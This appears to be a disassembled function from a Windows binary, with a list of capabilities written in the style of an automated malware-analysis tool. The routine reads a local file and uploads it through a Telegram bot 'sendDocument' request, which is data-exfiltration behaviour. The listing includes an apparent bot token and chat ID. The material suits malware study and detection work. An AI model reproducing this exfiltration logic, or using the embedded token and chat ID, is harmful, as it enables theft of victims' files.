Function at 0x40a930
Capabilities:
Initialize winhttp library
Prepare http request
Read file on windows
Set http header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x414], 0
push edi
push edi
mov ebx, ecx
push edi
push edi
push str.requests_2.0
lea eax, [ebx + 7]
mov dword [ebp - 0x418], eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [ebp - 0x41c], eax
test eax, eax
je 0x40a9ad
push edi
push 0x1bb
push str.api.telegram.org
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [ebp - 0x414], eax
test eax, eax
je 0x40a9ad
push 0x800000
push edi
push edi
push edi
push str._bot6285774449:AAEKI099tSEiC8aC7eK1NJg_WV3J_vydMJU_sendDocument
push str.POST
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov edi, eax
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
push 0x20000000
push 0xffffffffffffffff
push str.Accept_Encoding:_gzip__deflate__br
push edi
call esi
push 0x20000000
push 0xffffffffffffffff
push str.Accept:__
push edi
call esi
push 0x20000000
push 0xffffffffffffffff
push str.Connection:_keep_alive
push edi
call esi
push 0x413840
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x40ab50
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
push 2
push 0
push ebx
call esi
add esp, 0xc
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
add esp, 4
mov dword [ebp - 0x40c], eax
push 0
push 0
push ebx
call esi
mov esi, dword [ebp - 0x40c]
add esp, 0xc
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov dword [ebp - 0x410], eax
push ebx
test eax, eax
jne 0x40aa49
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x40ab4d
push esi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 0x14
lea eax, [ebp - 0x408]
push dword [ebp - 0x418]
push str.4182e9b4e7030e94b37e6d06b1d21b5a
push str.4182e9b4e7030e94b37e6d06b1d21b5a
push str.___s_r_nContent_Disposition:_form_data__name_chat_id__r_n_r_n_1001909776845_r_n___s_r_nContent_Disposition:_form_data__name_document___filename__s__r_n_r_n
push 0x400
push eax
call fcn.00405a70
lea esi, [ebp - 0x408]
add esp, 0x18
lea ecx, [esi + 1]
nop
mov al, byte [esi]
inc esi
test al, al
jne 0x40aa90
mov eax, dword [ebp - 0x40c]
sub esi, ecx
add eax, 0x28
add eax, esi
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x40aabf
push dword [ebp - 0x410]
jmp 0x40ab47
push esi
lea eax, [ebp - 0x408]
push eax
push ebx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea eax, [esi + ebx]
push dword [ebp - 0x40c]
push dword [ebp - 0x410]
push eax
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str._r_n__4182e9b4e7030e94b37e6d06b1d21b5a___r_n]
mov eax, dword [ebp - 0x40c]
add esp, 0xc
add eax, esi
push dword [ebp - 0x410]
movups xmmword [eax + ebx], xmm0
movups xmm0, xmmword [0x4138ec]
movups xmmword [eax + ebx + 0x10], xmm0
movq xmm0, qword [0x4138fc]
movq qword [eax + ebx + 0x20], xmm0
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
test edi, edi
je 0x40ab46
mov eax, dword [ebp - 0x40c]
push 0
add eax, 0x28
add eax, esi
push eax
push eax
push ebx
push 0xffffffffffffffff
push str.Content_Type:_multipart_form_data__boundary4182e9b4e7030e94b37e6d06b1d21b5a
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
test edi, edi
je 0x40ab5d
push edi
call esi
mov eax, dword [ebp - 0x414]
test eax, eax
je 0x40ab6a
push eax
call esi
mov eax, dword [ebp - 0x41c]
test eax, eax
je 0x40ab77
push eax
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041005d
mov esp, ebp
pop ebp
ret